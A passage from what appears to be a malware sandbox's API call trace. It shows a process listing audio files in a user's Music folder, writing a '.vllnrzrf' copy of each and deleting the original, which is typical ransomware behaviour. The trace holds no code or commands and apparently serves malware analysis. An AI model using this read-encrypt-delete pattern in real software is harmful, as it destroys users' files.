as\\OgQmN6aSh.wav", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav", lpFilePart=0x0) returned 0x40 [0114.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav", lpFilePart=0x0) returned 0x40 [0114.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav", lpFilePart=0x0) returned 0x40 [0114.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\ogqmn6ash.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.456] GetFileType (hFile=0x4ac) returned 0x1 [0114.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.457] GetFileType (hFile=0x4ac) returned 0x1 [0114.457] GetFileSize (in: hFile=0x4ac, lpFileSizeHigh=0x1c8feaa8 | out: lpFileSizeHigh=0x1c8feaa8*=0x0) returned 0xfe36 [0114.457] ReadFile (in: hFile=0x4ac, lpBuffer=0x23c6818, nNumberOfBytesToRead=0xfe36, lpNumberOfBytesRead=0x1c8fe9d8, lpOverlapped=0x0 | out: lpBuffer=0x23c6818*, lpNumberOfBytesRead=0x1c8fe9d8*=0xfe36, lpOverlapped=0x0) returned 1 [0114.458] CloseHandle (hObject=0x4ac) returned 1 [0114.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav.vllnrzrf", lpFilePart=0x0) returned 0x49 [0114.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\ogqmn6ash.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.479] GetFileType (hFile=0x4ac) returned 0x1 [0114.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.479] GetFileType (hFile=0x4ac) returned 0x1 [0114.479] WriteFile (in: hFile=0x4ac, lpBuffer=0x2221108*, nNumberOfBytesToWrite=0x10036, lpNumberOfBytesWritten=0x1c8fea38, lpOverlapped=0x0 | out: lpBuffer=0x2221108*, lpNumberOfBytesWritten=0x1c8fea38*=0x10036, lpOverlapped=0x0) returned 1 [0114.485] CloseHandle (hObject=0x4ac) returned 1 [0114.487] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav", lpFilePart=0x0) returned 0x40 [0114.487] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav", nBufferLength=0x105, lpBuffer=0x1c8fe5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav", lpFilePart=0x0) returned 0x40 [0114.487] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\OgQmN6aSh.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\ogqmn6ash.wav")) returned 1 [0114.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", lpFilePart=0x0) returned 0x49 [0114.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", lpFilePart=0x0) returned 0x49 [0114.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", lpFilePart=0x0) returned 0x49 [0114.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\pyucgycveefku7dswz.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.490] GetFileType (hFile=0x4ac) returned 0x1 [0114.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.491] GetFileType (hFile=0x4ac) returned 0x1 [0114.491] GetFileSize (in: hFile=0x4ac, lpFileSizeHigh=0x1c8feaa8 | out: lpFileSizeHigh=0x1c8feaa8*=0x0) returned 0x2ce5 [0114.491] ReadFile (in: hFile=0x4ac, lpBuffer=0x2231db0, nNumberOfBytesToRead=0x2ce5, lpNumberOfBytesRead=0x1c8fe9d8, lpOverlapped=0x0 | out: lpBuffer=0x2231db0*, lpNumberOfBytesRead=0x1c8fe9d8*=0x2ce5, lpOverlapped=0x0) returned 1 [0114.492] CloseHandle (hObject=0x4ac) returned 1 [0114.500] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a.vllnrzrf", lpFilePart=0x0) returned 0x52 [0114.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\pyucgycveefku7dswz.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.501] GetFileType (hFile=0x4ac) returned 0x1 [0114.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.501] GetFileType (hFile=0x4ac) returned 0x1 [0114.501] WriteFile (in: hFile=0x4ac, lpBuffer=0x2249bc8*, nNumberOfBytesToWrite=0x2ee5, lpNumberOfBytesWritten=0x1c8fea38, lpOverlapped=0x0 | out: lpBuffer=0x2249bc8*, lpNumberOfBytesWritten=0x1c8fea38*=0x2ee5, lpOverlapped=0x0) returned 1 [0114.502] CloseHandle (hObject=0x4ac) returned 1 [0114.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", lpFilePart=0x0) returned 0x49 [0114.504] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a", lpFilePart=0x0) returned 0x49 [0114.504] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\pYUcgycvEeFku7dswz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\pyucgycveefku7dswz.m4a")) returned 1 [0114.506] CoUninitialize () Thread: id = 90 os_tid = 0x814 [0115.794] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0115.794] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1c89e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0115.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e800) returned 1 [0115.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", nBufferLength=0x105, lpBuffer=0x1c89e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W", lpFilePart=0x0) returned 0x3c [0115.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\", nBufferLength=0x105, lpBuffer=0x1c89e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\", lpFilePart=0x0) returned 0x3d [0115.795] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\*.*", lpFindFileData=0x1c89e4a0 | out: lpFindFileData=0x1c89e4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5108b640, ftCreationTime.dwHighDateTime=0x1d5dc1f, ftLastAccessTime.dwLowDateTime=0x7201970, ftLastAccessTime.dwHighDateTime=0x1d5e7c7, ftLastWriteTime.dwLowDateTime=0x7201970, ftLastWriteTime.dwHighDateTime=0x1d5e7c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0115.796] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e4f0 | out: lpFindFileData=0x1c89e4f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5108b640, ftCreationTime.dwHighDateTime=0x1d5dc1f, ftLastAccessTime.dwLowDateTime=0x7201970, ftLastAccessTime.dwHighDateTime=0x1d5e7c7, ftLastWriteTime.dwLowDateTime=0x7201970, ftLastWriteTime.dwHighDateTime=0x1d5e7c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.796] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e4f0 | out: lpFindFileData=0x1c89e4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd208a770, ftCreationTime.dwHighDateTime=0x1d5d830, ftLastAccessTime.dwLowDateTime=0x9f5bb620, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x9f5bb620, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xe6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7eJLhqk9Lpf.wav", cAlternateFileName="7EJLHQ~1.WAV")) returned 1 [0115.796] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e4f0 | out: lpFindFileData=0x1c89e4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x192dbed0, ftCreationTime.dwHighDateTime=0x1d5e27f, ftLastAccessTime.dwLowDateTime=0xa6fa90b0, ftLastAccessTime.dwHighDateTime=0x1d5e687, ftLastWriteTime.dwLowDateTime=0xa6fa90b0, ftLastWriteTime.dwHighDateTime=0x1d5e687, nFileSizeHigh=0x0, nFileSizeLow=0x57a, dwReserved0=0x0, dwReserved1=0x0, cFileName="8xXsBIbuR2O58pd2.m4a", cAlternateFileName="8XXSBI~1.M4A")) returned 1 [0115.796] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e4f0 | out: lpFindFileData=0x1c89e4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2913da20, ftCreationTime.dwHighDateTime=0x1d5e557, ftLastAccessTime.dwLowDateTime=0xc0f41f80, ftLastAccessTime.dwHighDateTime=0x1d5dc01, ftLastWriteTime.dwLowDateTime=0xc0f41f80, ftLastWriteTime.dwHighDateTime=0x1d5dc01, nFileSizeHigh=0x0, nFileSizeLow=0xfd8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NjgA0Xa9YPqw6p.mp3", cAlternateFileName="NJGA0X~1.MP3")) returned 1 [0115.796] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e4f0 | out: lpFindFileData=0x1c89e4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4597b90, ftCreationTime.dwHighDateTime=0x1d5de05, ftLastAccessTime.dwLowDateTime=0x1831fcd0, ftLastAccessTime.dwHighDateTime=0x1d5e347, ftLastWriteTime.dwLowDateTime=0x1831fcd0, ftLastWriteTime.dwHighDateTime=0x1d5e347, nFileSizeHigh=0x0, nFileSizeLow=0x16b52, dwReserved0=0x0, dwReserved1=0x0, cFileName="rK3AckHzHJ-lEa.m4a", cAlternateFileName="RK3ACK~1.M4A")) returned 1 [0116.048] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e4f0 | out: lpFindFileData=0x1c89e4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6cb7d0, ftCreationTime.dwHighDateTime=0x1d5de23, ftLastAccessTime.dwLowDateTime=0x83bc0dc0, ftLastAccessTime.dwHighDateTime=0x1d5db94, ftLastWriteTime.dwLowDateTime=0x83bc0dc0, ftLastWriteTime.dwHighDateTime=0x1d5db94, nFileSizeHigh=0x0, nFileSizeLow=0x7f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="rQyPguihuCSD2V-bH5P.wav", cAlternateFileName="RQYPGU~1.WAV")) returned 1 [0116.048] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e4f0 | out: lpFindFileData=0x1c89e4f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.048] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0116.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e750) returned 1 [0116.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e710) returned 1 [0116.050] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", lpFilePart=0x0) returned 0x4c [0116.050] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", lpFilePart=0x0) returned 0x4c [0116.050] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", lpFilePart=0x0) returned 0x4c [0116.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.050] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\7ejlhqk9lpf.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0116.051] GetFileType (hFile=0x4f0) returned 0x1 [0116.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.051] GetFileType (hFile=0x4f0) returned 0x1 [0116.051] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x1c89e888 | out: lpFileSizeHigh=0x1c89e888*=0x0) returned 0xe6c0 [0116.051] ReadFile (in: hFile=0x4f0, lpBuffer=0x2253560, nNumberOfBytesToRead=0xe6c0, lpNumberOfBytesRead=0x1c89e7b8, lpOverlapped=0x0 | out: lpBuffer=0x2253560*, lpNumberOfBytesRead=0x1c89e7b8*=0xe6c0, lpOverlapped=0x0) returned 1 [0116.053] CloseHandle (hObject=0x4f0) returned 1 [0116.066] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav.vllnrzrf", lpFilePart=0x0) returned 0x55 [0116.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\7ejlhqk9lpf.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0116.067] GetFileType (hFile=0x4f0) returned 0x1 [0116.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.067] GetFileType (hFile=0x4f0) returned 0x1 [0116.067] WriteFile (in: hFile=0x4f0, lpBuffer=0x22a40d0*, nNumberOfBytesToWrite=0xe8c0, lpNumberOfBytesWritten=0x1c89e818, lpOverlapped=0x0 | out: lpBuffer=0x22a40d0*, lpNumberOfBytesWritten=0x1c89e818*=0xe8c0, lpOverlapped=0x0) returned 1 [0116.069] CloseHandle (hObject=0x4f0) returned 1 [0116.073] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", lpFilePart=0x0) returned 0x4c [0116.073] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", nBufferLength=0x105, lpBuffer=0x1c89e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav", lpFilePart=0x0) returned 0x4c [0116.073] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\7eJLhqk9Lpf.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\7ejlhqk9lpf.wav")) returned 1 [0116.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", lpFilePart=0x0) returned 0x51 [0116.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", lpFilePart=0x0) returned 0x51 [0116.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", lpFilePart=0x0) returned 0x51 [0116.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\8xxsbibur2o58pd2.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0116.077] GetFileType (hFile=0x4f0) returned 0x1 [0116.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.077] GetFileType (hFile=0x4f0) returned 0x1 [0116.077] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x1c89e888 | out: lpFileSizeHigh=0x1c89e888*=0x0) returned 0x57a [0116.077] ReadFile (in: hFile=0x4f0, lpBuffer=0x22b3c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c89e7b8, lpOverlapped=0x0 | out: lpBuffer=0x22b3c28*, lpNumberOfBytesRead=0x1c89e7b8*=0x57a, lpOverlapped=0x0) returned 1 [0116.078] CloseHandle (hObject=0x4f0) returned 1 [0116.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a.vllnrzrf", lpFilePart=0x0) returned 0x5a [0116.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\8xxsbibur2o58pd2.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0116.172] GetFileType (hFile=0x4f0) returned 0x1 [0116.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.172] GetFileType (hFile=0x4f0) returned 0x1 [0116.172] WriteFile (in: hFile=0x4f0, lpBuffer=0x22bab00*, nNumberOfBytesToWrite=0x77a, lpNumberOfBytesWritten=0x1c89e6c8, lpOverlapped=0x0 | out: lpBuffer=0x22bab00*, lpNumberOfBytesWritten=0x1c89e6c8*=0x77a, lpOverlapped=0x0) returned 1 [0116.174] CloseHandle (hObject=0x4f0) returned 1 [0116.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", lpFilePart=0x0) returned 0x51 [0116.182] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", nBufferLength=0x105, lpBuffer=0x1c89e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a", lpFilePart=0x0) returned 0x51 [0116.182] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\8xXsBIbuR2O58pd2.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\8xxsbibur2o58pd2.m4a")) returned 1 